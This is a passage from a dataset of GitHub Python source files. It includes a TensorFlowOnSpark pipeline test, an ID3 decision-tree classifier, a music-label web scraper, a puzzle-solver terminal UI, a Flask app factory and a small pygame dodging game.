room=session_id)","repo_name":"lnfernal/vgo_gambling_website","sub_path":"utilities/balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17171767231","text":"import numpy as np\nimport os\nimport shutil\nimport test\nimport unittest\n\nfrom tensorflowonspark import compat\nfrom tensorflowonspark.pipeline import HasBatchSize, HasSteps, Namespace, TFEstimator, TFParams\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense\n\n\nclass PipelineTest(test.SparkTest):\n @classmethod\n def setUpClass(cls):\n super(PipelineTest, cls).setUpClass()\n\n # create an artificial training dataset of two features with labels computed from known weights\n np.random.seed(1234)\n cls.features = np.random.rand(1000, 2)\n cls.weights = np.array([3.14, 1.618])\n cls.labels = np.matmul(cls.features, cls.weights)\n # convert to Python types for use with Spark DataFrames\n cls.train_examples = [(cls.features[i].tolist(), [cls.labels[i].item()]) for i in range(1000)]\n # create a simple test dataset\n cls.test_examples = [([1.0, 1.0], [0.0])]\n\n # define model_dir and export_dir for tests\n cls.model_dir = os.getcwd() + os.sep + \"test_model\"\n cls.export_dir = os.getcwd() + os.sep + \"test_export\"\n cls.tfrecord_dir = os.getcwd() + os.sep + \"test_tfr\"\n\n @classmethod\n def tearDownClass(cls):\n super(PipelineTest, cls).tearDownClass()\n\n def setUp(self):\n super(PipelineTest, self).setUp()\n # remove any prior test artifacts\n shutil.rmtree(self.model_dir, ignore_errors=True)\n shutil.rmtree(self.export_dir, ignore_errors=True)\n shutil.rmtree(self.tfrecord_dir, ignore_errors=True)\n\n def tearDown(self):\n # Note: don't clean up artifacts after test (in case we need to view/debug)\n pass\n\n def test_namespace(self):\n \"\"\"Namespace class initializers\"\"\"\n # from dictionary\n d = {'string': 'foo', 'integer': 1, 'float': 3.14, 'array': [1, 2, 3], 'map': {'a': 1, 'b': 2}}\n n1 = Namespace(d)\n self.assertEqual(n1.string, 'foo')\n self.assertEqual(n1.integer, 1)\n self.assertEqual(n1.float, 3.14)\n self.assertEqual(n1.array, [1, 2, 3])\n self.assertEqual(n1.map, {'a': 1, 'b': 2})\n self.assertTrue('string' in n1)\n self.assertFalse('extra' in n1)\n\n # from namespace\n n2 = Namespace(n1)\n self.assertEqual(n2.string, 'foo')\n self.assertEqual(n2.integer, 1)\n self.assertEqual(n2.float, 3.14)\n self.assertEqual(n2.array, [1, 2, 3])\n self.assertEqual(n2.map, {'a': 1, 'b': 2})\n self.assertTrue('string' in n2)\n self.assertFalse('extra' in n2)\n\n # from argv list\n argv = [\"--foo\", \"1\", \"--bar\", \"test\", \"--baz\", \"3.14\"]\n n3 = Namespace(argv)\n self.assertEqual(n3.argv, argv)\n\n def test_TFParams(self):\n \"\"\"Merging namespace args w/ ML Params\"\"\"\n class Foo(TFParams, HasBatchSize, HasSteps):\n def __init__(self, args):\n super(Foo, self).__init__()\n self.args = args\n\n n = Namespace({'a': 1, 'b': 2})\n f = Foo(n).setBatchSize(10).setSteps(100)\n combined_args = f.merge_args_params()\n expected_args = Namespace({'a': 1, 'b': 2, 'batch_size': 10, 'steps': 100})\n self.assertEqual(combined_args, expected_args)\n\n def test_spark_saved_model(self):\n \"\"\"InputMode.SPARK TFEstimator w/ explicit saved_model export for TFModel inferencing\"\"\"\n\n def _spark_train(args, ctx):\n \"\"\"Basic linear regression in a distributed TF cluster using InputMode.SPARK\"\"\"\n import tensorflow as tf\n from tensorflowonspark import TFNode\n\n tf.compat.v1.reset_default_graph()\n strategy = tf.distribute.experimental.MultiWorkerMirroredStrategy()\n\n with strategy.scope():\n model = Sequential()\n model.add(Dense(1, activation='linear', input_shape=[2]))\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=0.2), loss='mse', metrics=['mse'])\n model.summary()\n\n tf_feed = TFNode.DataFeed(ctx.mgr, input_mapping=args.input_mapping)\n\n def rdd_generator():\n while not tf_feed.should_stop():\n batch = tf_feed.next_batch(1)\n if len(batch['x']) > 0:\n features = batch['x'][0]\n label = batch['y_'][0]\n yield (features, label)\n else:\n return\n\n ds = tf.data.Dataset.from_generator(rdd_generator, (tf.float32, tf.float32), (tf.TensorShape([2]), tf.TensorShape([1])))\n # disable auto-sharding since we're feeding from an RDD generator\n options = tf.data.Options()\n compat.disable_auto_shard(options)\n ds = ds.with_options(options)\n ds = ds.batch(args.batch_size)\n\n # only train 90% of each epoch to account for uneven RDD partition sizes\n steps_per_epoch = 1000 * 0.9 // (args.batch_size * ctx.num_workers)\n\n tf.io.gfile.makedirs(args.model_dir)\n filepath = args.model_dir + \"/weights-{epoch:04d}\"\n callbacks = [tf.keras.callbacks.ModelCheckpoint(filepath=filepath, verbose=1, load_weights_on_restart=True, save_weights_only=True)]\n\n model.fit(ds, epochs=args.epochs, steps_per_epoch=steps_per_epoch, callbacks=callbacks)\n\n # This fails with: \"NotImplementedError: `fit_generator` is not supported for models compiled with tf.distribute.Strategy\"\n # model.fit_generator(ds, epochs=args.epochs, steps_per_epoch=steps_per_epoch, callbacks=callbacks)\n\n if args.export_dir:\n print(\"exporting model to: {}\".format(args.export_dir))\n compat.export_saved_model(model, args.export_dir, ctx.job_name == 'chief')\n\n tf_feed.terminate()\n\n # create a Spark DataFrame of training examples (features, labels)\n rdd = self.sc.parallelize(self.train_examples, 2)\n trainDF = rdd.toDF(['col1', 'col2'])\n\n # train and export model\n args = {}\n estimator = TFEstimator(_spark_train, args) \\\n .setInputMapping({'col1': 'x', 'col2': 'y_'}) \\\n .setModelDir(self.model_dir) \\\n .setExportDir(self.export_dir) \\\n .setClusterSize(self.num_workers) \\\n .setMasterNode(\"chief\") \\\n .setNumPS(0) \\\n .setBatchSize(1) \\\n .setEpochs(1)\n model = estimator.fit(trainDF)\n self.assertTrue(os.path.isdir(self.export_dir))\n\n # create a Spark DataFrame of test examples (features, labels)\n testDF = self.spark.createDataFrame(self.test_examples, ['c1', 'c2'])\n\n # test saved_model using exported signature\n model.setTagSet('serve') \\\n .setSignatureDefKey('serving_default') \\\n .setInputMapping({'c1': 'dense_input'}) \\\n .setOutputMapping({'dense': 'cout'})\n preds = model.transform(testDF).head() # take first/only result\n pred = preds.cout[0] # unpack scalar from tensor\n expected = np.sum(self.weights)\n self.assertAlmostEqual(pred, expected, 2)\n\n# def test_spark_sparse_tensor(self):\n# \"\"\"InputMode.SPARK feeding sparse tensors\"\"\"\n# def sparse_train(args, ctx):\n# import tensorflow as tf\n#\n# # reset graph in case we're re-using a Spark python worker (during tests)\n# tf.compat.v1.reset_default_graph()\n#\n# cluster, server = ctx.start_cluster_server(ctx)\n# if ctx.job_name == \"ps\":\n# server.join()\n# elif ctx.job_name == \"worker\":\n# with tf.device(tf.compat.v1.train.replica_device_setter(\n# worker_device=\"/job:worker/task:%d\" % ctx.task_index,\n# cluster=cluster)):\n# y_ = tf.compat.v1.placeholder(tf.float32, name='y_label')\n# label = tf.identity(y_, name='label')\n#\n# row_indices = tf.compat.v1.placeholder(tf.int64, name='x_row_indices')\n# col_indices = tf.compat.v1.placeholder(tf.int64, name='x_col_indices')\n# values = tf.compat.v1.placeholder(tf.float32, name='x_values')\n# indices = tf.stack([row_indices[0], col_indices[0]], axis=1)\n# data = values[0]\n#\n# x = tf.SparseTensor(indices=indices, values=data, dense_shape=[args.batch_size, 10])\n# w = tf.Variable(tf.random.truncated_normal([10, 1]), name='w')\n# y = tf.sparse.sparse_dense_matmul(x, w, name='y')\n#\n# global_step = tf.compat.v1.train.get_or_create_global_step()\n# cost = tf.reduce_mean(input_tensor=tf.square(y_ - y), name='cost')\n# optimizer = tf.compat.v1.train.GradientDescentOptimizer(0.1).minimize(cost, global_step)\n#\n# with tf.compat.v1.train.MonitoredTrainingSession(master=server.target,\n# is_chief=(ctx.task_index == 0),\n# checkpoint_dir=args.model_dir,\n# save_checkpoint_steps=20) as sess:\n# tf_feed = ctx.get_data_feed(input_mapping=args.input_mapping)\n# while not sess.should_stop() and not tf_feed.should_stop():\n# batch = tf_feed.next_batch(args.batch_size)\n# if len(batch) > 0:\n# print(\"batch: {}\".format(batch))\n# feed = {y_: batch['y_label'],\n# row_indices: batch['x_row_indices'],\n# col_indices: batch['x_col_indices'],\n# values: batch['x_values']}\n# _, pred, trained_weights = sess.run([optimizer, y, w], feed_dict=feed)\n# print(\"trained_weights: {}\".format(trained_weights))\n# sess.close()\n#\n# # wait for MonitoredTrainingSession to save last checkpoint\n# time.sleep(10)\n#\n# args = {}\n# estimator = TFEstimator(sparse_train, args) \\\n# .setInputMapping({'labels': 'y_label', 'row_indices': 'x_row_indices', 'col_indices': 'x_col_indices', 'values': 'x_values'}) \\\n# .setInputMode(TFCluster.InputMode.SPARK) \\\n# .setModelDir(self.model_dir) \\\n# .setClusterSize(self.num_workers) \\\n# .setNumPS(1) \\\n# .setBatchSize(1)\n#\n# model_weights = np.array([[1.0, 1.0, 1.0, 1.0, 1.0, -1.0, -1.0, -1.0, -1.0, -1.0]]).T\n# examples = [scipy.sparse.random(1, 10, density=0.5,) for i in range(200)]\n# rdd = self.sc.parallelize(examples).map(lambda e: ((e * model_weights).tolist()[0][0], e.row.tolist(), e.col.tolist(), e.data.tolist()))\n# df = rdd.toDF([\"labels\", \"row_indices\", \"col_indices\", \"values\"])\n# df.show(5)\n# model = estimator.fit(df)\n#\n# model.setOutputMapping({'label': 'label', 'y/SparseTensorDenseMatMul': 'predictions'})\n# test_examples = [scipy.sparse.random(1, 10, density=0.5,) for i in range(50)]\n# test_rdd = self.sc.parallelize(test_examples).map(lambda e: ((e * model_weights).tolist()[0][0], e.row.tolist(), e.col.tolist(), e.data.tolist()))\n# test_df = test_rdd.toDF([\"labels\", \"row_indices\", \"col_indices\", \"values\"])\n# test_df.show(5)\n# preds = model.transform(test_df)\n# preds.show(5)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"haixiaoxuan/code-python","sub_path":"TensorFlowOnSpark-master-2.1.2/test/test_pipeline.py","file_name":"test_pipeline.py","file_ext":"py","file_size_in_byte":10803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8902806759","text":"import os\nfor root, dirs, files in os.walk(\".\", topdown=True):\n print(root)\n for name in files:\n path = os.path.join(root, name) \n print(path)\n\n if os.path.splitext(name)[-1][1:] == \"txt\":\n tname = os.path.splitext(name)[0]\n file_new_path = os.path.join(root, tname + \".md\") \n os.rename(path, file_new_path)\n TFile = open(file_new_path, 'r', encoding='utf-8') # 打开文件(只读)\n conntent = TFile.readlines() # 按行读取\n TFile.close()\n for i in range(0, len(conntent)):\n conntent[i] = conntent[i].strip('\\n') \n conntent[i] = conntent[i] + \" \\n\"\n\n TFile = open(file_new_path, 'w', encoding='utf-8')\n TFile.writelines(conntent)\n TFile.close()\n print(file_new_path)\n for name in dirs:\n print(os.path.join(root, name))","repo_name":"wasteland-institute/Book_arrangement","sub_path":"丫丫书屋每月扫书区/TXT转MD.py","file_name":"TXT转MD.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"73217099073","text":"import numpy as np\nimport pandas as pd\n\n\nclass Node:\n \"\"\"Contains the information of the node and another nodes of the Decision Tree.\"\"\"\n\n def __init__(self):\n self.label = None\n self.branches = []\n self.is_leaf = False\n\n\nclass ID3:\n \"\"\"Decision Tree Classifier using ID3 algorithm.\"\"\"\n\n def __init__(self):\n self.features = None\n self.root = None\n\n def _get_entropy(self, y):\n samples_count = len(y)\n classes, counts = np.unique(y, return_counts=True)\n probabilities = counts / samples_count\n entropy = -np.sum(np.log2(probabilities) * probabilities)\n return entropy\n\n def _get_information_gain(self, X, y, feature_name):\n feature_id = self.features.tolist().index(feature_name)\n feature_vals = X[:, feature_id]\n unique_feature_vals, counts = np.unique(\n feature_vals, return_counts=True)\n y_subsets = [\n [y[i]\n for i, v in enumerate(feature_vals)\n if v == uv]\n for uv in unique_feature_vals\n ]\n\n info_gain_feature = sum([count / len(X) * self._get_entropy(y_subset)\n for count, y_subset in zip(counts, y_subsets)])\n info_gain = self._get_entropy(y) - info_gain_feature\n return info_gain\n\n def _get_most_informative_feature(self, X, y, feature_names):\n info_gains = [self._get_information_gain(X, y, feature_name)\n for feature_name in feature_names]\n best_feature_name = feature_names[info_gains.index(max(info_gains))]\n return best_feature_name\n\n def _id3(self, X, y, feature_names):\n node = Node()\n\n # if all the example have the same class (pure node), return node\n if len(set(y)) == 1:\n node.is_leaf = True\n node.label = y[0]\n return node\n\n # if there are not more feature to compute, return node with the most probable class\n if len(feature_names) == 0:\n node.is_leaf = True\n unique_vals, counts = np.unique(y, return_counts=True)\n node.label = unique_vals[np.argmax(counts)]\n return node\n\n # else choose the feature that maximizes the information gain\n best_feature_name = self._get_most_informative_feature(\n X, y, feature_names)\n node.label = best_feature_name\n\n # value of the chosen feature for each instance\n best_feature_id = self.features.tolist().index(best_feature_name)\n feature_values = list(set(X[:, best_feature_id]))\n\n for feature_value in feature_values:\n branch = [feature_value, Node()]\n node.branches.append(branch)\n\n X_subset = X[X[:, best_feature_id] == feature_value]\n y_subset = y[X[:, best_feature_id] == feature_value]\n\n if len(X_subset) == 0:\n unique_vals, counts = np.unique(y, return_counts=True)\n branch[1].label = unique_vals[np.argmax(counts)]\n else:\n feature_names = [\n a for a in feature_names if a != best_feature_name]\n branch[1] = self._id3(X_subset, y_subset, feature_names)\n return node\n\n def fit(self, X, y, feature_names):\n self.features = np.array(feature_names)\n self.root = self._id3(np.array(X), np.array(y), feature_names)\n\n def predict(self, X):\n y_pred = [self._walk_down(self.root, sample) for sample in X]\n return y_pred\n\n def _walk_down(self, node, sample):\n if node.is_leaf:\n return node.label\n\n feature_name = node.label\n feature_id = self.features.tolist().index(feature_name)\n if node.branches:\n for b in node.branches:\n if b[0] == sample[feature_id]:\n return self._walk_down(b[1], sample)\n\n return node.label\n\n def print_dt(self):\n print('\\n\\nDecision tree\\n\\n')\n self._print_dt_recur(self.root)\n print(\"----------------------------------------------------------------\")\n\n def _print_dt_recur(self, node, leading_str=\"\"):\n if node.is_leaf:\n print(f'class:{node.label}')\n return\n\n print(f'({node.label}=?)')\n if node.branches:\n for b in node.branches:\n print(f'{leading_str} |-- {b[0]} -- ', end=\"\")\n new_leading_str = f'{leading_str} |{\" \" * (len(b[0]) + 7)}'\n self._print_dt_recur(b[1], new_leading_str)\n\n\nif __name__ == \"__main__\":\n df = pd.read_csv(\"play_tennis.csv\")\n X = np.array(df.drop(['day', 'play'], axis='columns'))\n y = np.array(df['play'])\n feature_names = df.columns.drop(['day', 'play'])\n\n X_train = X[:10]\n X_test = X[10:14]\n y_train = y[:10]\n y_test = y[10:14]\n\n id3 = ID3()\n id3.fit(X_train, y_train, feature_names)\n\n y_pred = id3.predict(X_test)\n print(f'Predicted: {y_pred}')\n print(f'Actual: {y_test}')\n\n id3.print_dt()\n","repo_name":"m3rashid/sem7-codes","sub_path":"lab6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26970425789","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen, urlretrieve\nfrom urllib.error import URLError, HTTPError\nfrom datetime import datetime, date\nimport datefinder\nimport UpcomingRecord\n\n\ndef scrape(current_rec_links):\n uprecList = []\n # Open and parse homepage\n fatwreck = \"https://fatwreck.com\"\n newreleases = \"https://fatwreck.com/collections/all-releases?sort_by=created-descending\"\n if url_is_good(newreleases):\n page = urlopen(newreleases)\n soup = BeautifulSoup(page, \"html.parser\")\n\n # store new releases not in database\n uprecs = soup.find_all('div', class_='fat-list-product')\n for rec in uprecs:\n recLink = fatwreck + rec.find(\n 'a', 'fat-list-product--image').get('href')\n if recLink not in current_rec_links:\n record = createUpRec(recLink)\n uprecList.append(record)\n return uprecList\n\n\ndef createUpRec(recLink):\n if url_is_good(recLink):\n page = urlopen(recLink)\n soup = BeautifulSoup(page, \"html.parser\")\n\n imageLink = \"https:\" + soup.find(\n 'meta', itemprop='image')['content']\n image = saveAlbumArt(imageLink, recLink)\n artist = soup.find('meta', itemprop='brand')['content']\n title = soup.find('meta', itemprop='name')['content'].split('-', 1)[0]\n description = soup.find(\n 'meta', itemprop='description')['content'].split('-', 1)[-1]\n dates = datefinder.find_dates(description)\n releaseDate = next(dates).date()\n\n upRec = UpcomingRecord.UpcomingRecord(\n artist, title, image, recLink, releaseDate)\n \n return upRec\n\n\ndef saveAlbumArt(imageLink, link):\n if url_is_good(imageLink):\n urlretrieve(imageLink, \"/FatScraper/output/artwork/\" + link.rsplit('/', 1)[-1] + \".jpg\")\n return (\"/FatScraper/output/artwork\" + link.rsplit('/', 1)[-1] + \".jpg\")\n\n\n# Better than just checking error codes which doesn't help\n# when the server is down.\n# taken from: https://stackoverflow.com/a/38145622\ndef url_is_good(url):\n try:\n response = urlopen(url)\n except HTTPError:\n return False\n except URLError:\n return False\n except:\n return False\n return True\n","repo_name":"ndeast/FatScraper","sub_path":"src/FatWreckScraper.py","file_name":"FatWreckScraper.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5217902128","text":"\"\"\"\r\nThis class provides a TUI for interaction with Solvers and Puzzles\r\n\"\"\"\r\nfrom puzzlesolver.util import PuzzleValue\r\nfrom os import system, name\r\n\r\nclass TUI:\r\n\r\n def __init__(self, puzzle, solver=None, info=False, auto=False, debug=False):\r\n self.base = puzzle\r\n self.puzzle = puzzle\r\n self.solver = solver\r\n self.info = info\r\n self.debug = debug\r\n if not solver and (auto or info):\r\n raise Exception(\"Cannot have auto or info arguments without a solver\")\r\n self.auto = auto\r\n if solver and not solver.solved:\r\n self.solver.solve(verbose=True)\r\n\r\n # Starts the PuzzlePlayer\r\n def play(self):\r\n self.puzzle = self.base\r\n self.turn = 0\r\n while True:\r\n if not self.debug: self.clear()\r\n self.printInfo()\r\n print(\"Puzzle: \")\r\n print(self.puzzle.toString(mode=\"complex\"))\r\n if self.puzzle.primitive() != PuzzleValue.UNDECIDED: break\r\n self.printTurn()\r\n print(\"Game Over\")\r\n\r\n def clear(self):\r\n # Small function to clear the terminal every time\r\n if name == 'nt':\r\n _ = system('cls')\r\n else:\r\n _ = system('clear')\r\n\r\n def printInfo(self):\r\n print(\"Turn: \", self.turn), \r\n if self.puzzle.primitive() == 'UNDECIDED':\r\n prim = \"UNDECIDED\"\r\n else:\r\n prim = \"SOLVED\"\r\n print(\"Primitive: \", prim)\r\n if self.info and self.solver:\r\n if self.solver.getValue(self.puzzle) == 'UNSOLVABLE':\r\n pos = \"LOSE\"\r\n else: \r\n pos = \"WIN\"\r\n print(\"Position: \", pos)\r\n print(\"Remoteness: \", self.solver.getRemoteness(self.puzzle))\r\n best_move, remotes, unsolve = self.generateBestMove()\r\n self.printBestMoves(remotes, unsolve)\r\n self.turn += 1\r\n\r\n # Prompts for input and moves\r\n def printTurn(self):\r\n if self.solver: move, _, _ = self.generateBestMove() \r\n # Auto generate a possible solution\r\n if self.auto:\r\n self.puzzle = self.puzzle.doMove(move)\r\n else:\r\n moves = list(self.puzzle.generateMoves(movetype=\"legal\"))\r\n # Have the best move be the first index\r\n if len(moves) == 0:\r\n print(\"Game Over\")\r\n exit()\r\n if self.solver and self.info and move: \r\n moves.remove(move)\r\n moves.insert(0, move)\r\n play = self.puzzle.playPuzzle(moves)\r\n if play == \"BEST\":\r\n self.puzzle = self.puzzle.doMove(moves[0])\r\n elif play not in moves or play == \"OOPS\":\r\n print(\"Not a valid move, try again\")\r\n else:\r\n self.puzzle = self.puzzle.doMove(play)\r\n print(\"----------------------------\")\r\n\r\n # Generates best move from the solver\r\n def generateBestMove(self):\r\n # if self.solver.getValue(self.puzzle) == PuzzleValue.UNSOLVABLE: return None, None, None\r\n # if self.puzzle.primitive() == PuzzleValue.SOLVABLE: return None, None, None\r\n remotes = {\r\n move : self.solver.getRemoteness(self.puzzle.doMove(move)) \r\n for move in self.puzzle.generateMoves(movetype=\"legal\")\r\n }\r\n min_remote = float('inf')\r\n best_move = None\r\n unsolve = {}\r\n for key, value in remotes.items():\r\n if value == PuzzleValue.UNSOLVABLE:\r\n unsolve[key] = value\r\n elif value < min_remote:\r\n min_remote = value\r\n best_move = key\r\n for key in unsolve.keys():\r\n del remotes[key]\r\n return best_move, remotes, unsolve\r\n\r\n def printBestMoves(self, remotes, unsolve):\r\n print(\"Winning Moves: \")\r\n drawing = []\r\n if remotes: \r\n sorted_remotes = {k: v for k, v in sorted(remotes.items(), key=lambda item: item[1])}\r\n smallest = list(sorted_remotes.values())[0]\r\n for k, v in sorted_remotes.items():\r\n if smallest != v:\r\n drawing.append((k,v))\r\n else:\r\n space = 22 - len(k)\r\n printer = \" \" * space\r\n print(\"- \" + str(k) + printer + str(v))\r\n else:\r\n print(\"- \")\r\n print(\"Tieing Moves: \")\r\n if drawing:\r\n for i in drawing:\r\n k,v = i[0], i[1]\r\n space = 22 - len(k)\r\n printer = \" \" * space\r\n print(\"- \" + str(k) + printer + str(v))\r\n else:\r\n print(\"- \")\r\n print(\"Losing Moves: \")\r\n if unsolve:\r\n for k in unsolve.keys():\r\n print(\"- \" + str(k))\r\n else:\r\n print(\"- \")\r\n\r\nif __name__ == \"__main__\":\r\n import argparse\r\n from puzzlesolver.puzzles import PuzzleManager\r\n\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"puzzleid\", help=\"PuzzleID of the puzzle you wish to view\")\r\n parser.add_argument(\"-v\", \"--variant\", help=\"Variant of puzzle\")\r\n parser.add_argument(\"-p\", \"--position\", help=\"Specific position of puzzle (overrides variant)\")\r\n parser.add_argument(\"-i\", \"--info\", action=\"store_true\", help=\"Solver reveals some helpful info\")\r\n parser.add_argument(\"-a\", \"--auto\", action=\"store_true\", help=\"Puzzle plays itself\")\r\n parser.add_argument(\"-l\", \"--list\", action=\"store_true\", help=\"Lists puzzles and their ids\")\r\n\r\n args = parser.parse_args()\r\n\r\n if not PuzzleManager.hasPuzzleId(args.puzzleid):\r\n print(\"Possible puzzles:\")\r\n print(\"\\n\".join(PuzzleManager.getPuzzleIds()))\r\n raise Exception(\"Puzzleid is not recorded in PuzzleList\")\r\n\r\n p_cls = PuzzleManager.getPuzzleClass(args.puzzleid)\r\n\r\n puzzle = None \r\n if args.variant:\r\n puzzle = p_cls.generateStartPosition(args.variant)\r\n if args.position:\r\n puzzle = p_cls.deserialize(args.position)\r\n if not puzzle:\r\n puzzle = p_cls()\r\n \r\n if args.info or args.auto:\r\n s_cls = PuzzleManager.getSolverClass(args.puzzleid, args.variant)\r\n solver = s_cls(puzzle)\r\n else:\r\n solver = None\r\n\r\n TUI(puzzle, solver=solver, info=args.info, auto=args.auto).play()\r\n","repo_name":"GamesCrafters/GamesmanPuzzles","sub_path":"puzzlesolver/players/tui.py","file_name":"tui.py","file_ext":"py","file_size_in_byte":6393,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"6949092040","text":"import os\n\nfrom flask import Flask, current_app, send_file\n\n\ndef create_app():\n app = Flask(__name__, static_folder='../../dist/static')\n\n from .api import api_bp\n app.register_blueprint(api_bp)\n\n # Import config object to find dist (built) directory\n from .config import Config\n app.logger.info('>>> {}'.format(Config.FLASK_ENV))\n app.config.from_object('app.config.Config')\n\n # Serve static assets found in the \"public\" folder\n @app.route('/', defaults={'path': ''})\n @app.route('/')\n def catch_all(path):\n dist_dir = current_app.config['DIST_DIR']\n asset_path = os.path.join(dist_dir, path)\n # Send specified static asset, if one exists in folder\n if path != \"\" and os.path.exists(asset_path):\n print(f\"Sending asset at {asset_path}\")\n return send_file(asset_path)\n # Default to sending index.html file; route remains intact and enables\n # Vue Router to route to corresponding components\n root_path = os.path.join(dist_dir, 'index.html')\n print(f\"Sending asset at {root_path}\")\n return send_file(root_path)\n\n return app\n","repo_name":"mpothier/flask-vue-portfolio-site-template","sub_path":"server/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"127798179","text":"import pygame\nfrom random import *\n# ----------------------------------------------------------------------------------\n# 기본 초기화(반드시 해야 하는 것들)\npygame.init() # 초기화 (반드시 필요)\n\n# 화면 크기 설정\nscreen_width = 480 # 가로 크기\nscreen_height = 640 # 세로 크기\nscreen = pygame.display.set_mode((screen_width,screen_height))\n\n# 화면 타이틀 설정\npygame.display.set_caption(\"똥 피하기\") # 게임 이름\n\n# FPS\nclock = pygame.time.Clock()\n# ----------------------------------------------------------------------------------\n\n# 1. 사용자 게임 초기화(배경화면, 게임 이미지, 좌표, 속도, 폰트 등)\n# 배경 ��들기\nbackground = pygame.image.load(\"C:/Users/aidi0/Desktop/python-tutorial/pygame_basic/paper_texture_background.png\")\n\n# 캐릭터 만들기\ncharacter = pygame.image.load(\"C:/Users/aidi0/Desktop/python-tutorial/pygame_basic/dog_character.png\")\ncharacter_size = character.get_rect().size\ncharacter_width = character_size[0]\ncharacter_height = character_size[1]\ncharacter_x_pos = (screen_width / 2) - (character_width / 2)\ncharacter_y_pos = screen_height - character_height\n\n# 이동 위치\nto_x = 0\n\n# 캐릭터 속도\ncharacter_speed = 0.6\n\n\n# 적(똥) 만들기\nenemy = pygame.image.load(\"C:/Users/aidi0/Desktop/python-tutorial/pygame_basic/ddong.png\")\nenemy_size = enemy.get_rect().size\nenemy_width = enemy_size[0]\nenemy_height = enemy_size[1]\nenemy_x_pos = randint(0,screen_width - enemy_width)\nenemy_y_pos = 0\n\n# 적(똥) 속도\nenemy_speed = 0.6\n\ngame_font = pygame.font.Font(None, 40)\n\ntotal_time = 20\n\nstart_ticks = pygame.time.get_ticks()\n\nrunning = True \nwhile running:\n dt = clock.tick(30) \n\n # 2. 이벤트 처리(키보드, 마우스 등)\n for event in pygame.event.get():\n if event.type == pygame.QUIT: \n running = False\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n to_x -= character_speed\n if event.key == pygame.K_RIGHT:\n to_x += character_speed\n \n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n to_x = 0\n\n \n \n\n\n # 3. 게임 캐릭터 위치 정의\n character_x_pos += to_x * dt\n enemy_y_pos += enemy_speed * dt\n\n if character_x_pos < 0:\n character_x_pos = 0\n elif character_x_pos > screen_width - character_width:\n character_x_pos = screen_width - character_width\n\n # 적이 하강\n enemy_y_pos += enemy_speed\n\n # 적이 바닥에 닿으면 새로 생성\n if enemy_y_pos >= (screen_height - enemy_height):\n enemy_x_pos = randint(0,screen_width - enemy_width)\n enemy_y_pos = 0\n \n \n \n \n\n # 4. 충돌 처리\n character_rect = character.get_rect()\n character_rect.left = character_x_pos\n character_rect.top = character_y_pos\n\n enemy_rect = enemy.get_rect()\n enemy_rect.left = enemy_x_pos\n enemy_rect.top = enemy_y_pos\n\n if character_rect.colliderect(enemy_rect):\n print(\"게임 오버입니다.\")\n running = False\n\n # 5. 화면에 그리기\n screen.blit(background, (0,0))\n\n screen.blit(character,(character_x_pos, character_y_pos))\n\n screen.blit(enemy,(enemy_x_pos, enemy_y_pos))\n\n elapsed_time = (pygame.time.get_ticks() - start_ticks) / 1000\n\n timer = game_font.render(str(int(total_time - elapsed_time)), True, (255,255,255))\n screen.blit(timer,(10,10))\n\n if total_time - elapsed_time <= 0:\n print(\"타임아웃!\\n플레이어님이 이기셨습니다!\")\n running = False\n\n pygame.display.update() # 게임화면을 다시 그리기!\n\npygame.time.delay(1000)\n\n# pygame 종료\npygame.quit()","repo_name":"Renem24/python-tutorial","sub_path":"pygame_basic/quiz_pygame_basic.py","file_name":"quiz_pygame_basic.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21694536864","text":"#python version = 3.11\n\"\"\" Basic arithmetic Operations include\n 1. Addition ( + )\n 2. Subtraction ( - )\n 3. Multiplication ( * )\n 4. Division ( / )\n \"\"\"\n# we use input() method to read input or values from user.\n#input by default reads the input as a string/charecter so we typecast the input into our desired input datatype\nA= int(input(\"Enter a number\"))\n\nB= int(input(\"Enter a number\"))\n\nsum = A+B\nprint(\"Sum of {} and {} is {}\".format(A,B,sum))\n\ndifference = A - B\nprint(\"Difference between {} and {} is {}\".format(A,B,difference))\n\nmul = A * B\nprint(\"Multiplication of {} times {} is {}\".format(A,B,mul))\n\nrem = A/B\nprint(\"Division of {} and {} is {}\".format(A,B,rem))\n","repo_name":"yugasaisrinivasGottumukkala/Python-practice","sub_path":"Basics/arthmeticoperations.py","file_name":"arthmeticoperations.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35394230732","text":"#!/usr/bin/env python3\n\ndef add(myList):\n \"\"\"Returns the sum of the elements in the given list.\"\"\"\n sum = 0\n for num in myList:\n sum = sum + num\n return sum\n\n\nprint(add([0, 1, 2, 3]))\n\nmyNumbers = range(101)\nprint(add(myNumbers))\n\n\ndef addUpTo(largest):\n \"\"\"Returns the sum of the integers from 0 to largest.\"\"\"\n sum = 0\n for num in range(0, largest + 1):\n sum = sum + num\n return sum\n\n\nprint(addUpTo(100))\n\n\ndef gum(times):\n \"\"\"Apologizes for gum chewing the given number of times.\"\"\"\n for line in range(times):\n print('I will not chew gum in class')\n\n\nprint(gum(2))\nprint(gum(5))\n\n\ndef countCCAAT(DNA):\n 